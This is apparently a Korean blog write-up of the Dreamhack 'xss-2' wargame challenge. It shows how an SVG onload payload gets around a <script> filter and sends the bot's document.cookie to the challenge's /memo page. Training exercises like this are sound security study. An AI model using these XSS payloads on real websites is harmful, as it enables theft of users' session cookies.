Hacking (CTF)/웹 해킹

[Dreamhack/드림핵] xss-2

gapsoo 2023. 11. 6. 21:45

 


 

 

 

 

 

 

 https://dreamhack.io/wargame/challenges/268

 

 

xss-2

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역

dreamhack.io

 

 


[1] 문제 탐색

 

 

 

초기 화면이다.

 

 

/vuln(xss) page.

아무것도 보이지 않는다.

 

 

 

/memo 페이지

들어간 횟수만큼 "hello"가 적히게 된다.

 

 

 

/flag 페이지

param를 매개변수로하는 어떤 값을 제출할 수 있는 페이지이다.

 

 


[2] 문제 풀이

 

 

 

 

 

xss-1와 구성은 같지만 더 이상 /vuln페이지에서 <script>를 이용한 스크립트 삽입 공격이 어려웠다.

따라서 <script>가 아닌 innerHTML을 이용하여 XSS 공격을 시도하여 flag 값을 얻어내야 한다.

 

 

구글링을 해보니, 'xss 방화벽 우회'를 통해 풀어야 한다는데...

많은 방법이 존재하는데, 아래 티스토리에 나온 방법을 사용해보았다.

 

https://fascination-euna.tistory.com/137

 

[Dreamhack] xss-2

xss-2 여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다 XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다 # 접속 xss-1 문제와 다르지 않은 페이지가

fascination-euna.tistory.com

 

 

/vuln?param=<svg onload="alert('1')">

 

 

 

 

이렇게 코드를 입력하니 alert가 잘 실행이 되는 것을 확인할 수 있었다.

 

 

 

 

<svg onload="location.href = '/memo?memo=' + document.cookie">

 

 

 

 

 

 

 

 

1번 문제와 차이점이 vuln(xss) page의 스크립트 동작 여부만 다르다는 것을 알면 풀이 방법이 보이는 문제라고 한다.

 

vuln(xss) page 에서 <script>alert</script> 구문 외에 우회하여 동작하는 스크립트가 있는지 찾아보고,

찾아낸 코드를 사용하면 되는 문제이다.

 

 


[3] 참고

 

https://fascination-euna.tistory.com/137

 

[Dreamhack] xss-2

xss-2 여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다 XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다 # 접속 xss-1 문제와 다르지 않은 페이지가

fascination-euna.tistory.com

 

https://maplewina.tistory.com/entry/Dreamhack-1%EB%8B%A8%EA%B3%84-xss-2

 

[Dreamhack] 1단계 - xss-2

해당 실습은 Dreamhack에서 제공되는 가상환경에서 진행되었습니다. 사전 동의 없는 불법 침입, 수색, 분석 등의 행위는 불법이니 꼭 명심하시길 바랍니다. 앞에서는 로드맵에서 기본저인 힌트를

maplewina.tistory.com

 

'Hacking (CTF) > 웹 해킹' 카테고리의 다른 글

[Dreamhack/드림핵] XSS Filtering Bypass  (0) 2023.11.10
[webhacking.kr] Challenge old-23  (0) 2023.11.09
[xss-game] Level 5: Breaking protocol  (3) 2023.11.06
[Dreamhack/드림핵] xss-1  (0) 2023.11.05
[Dreamhack/드림핵] DOM XSS  (0) 2023.11.05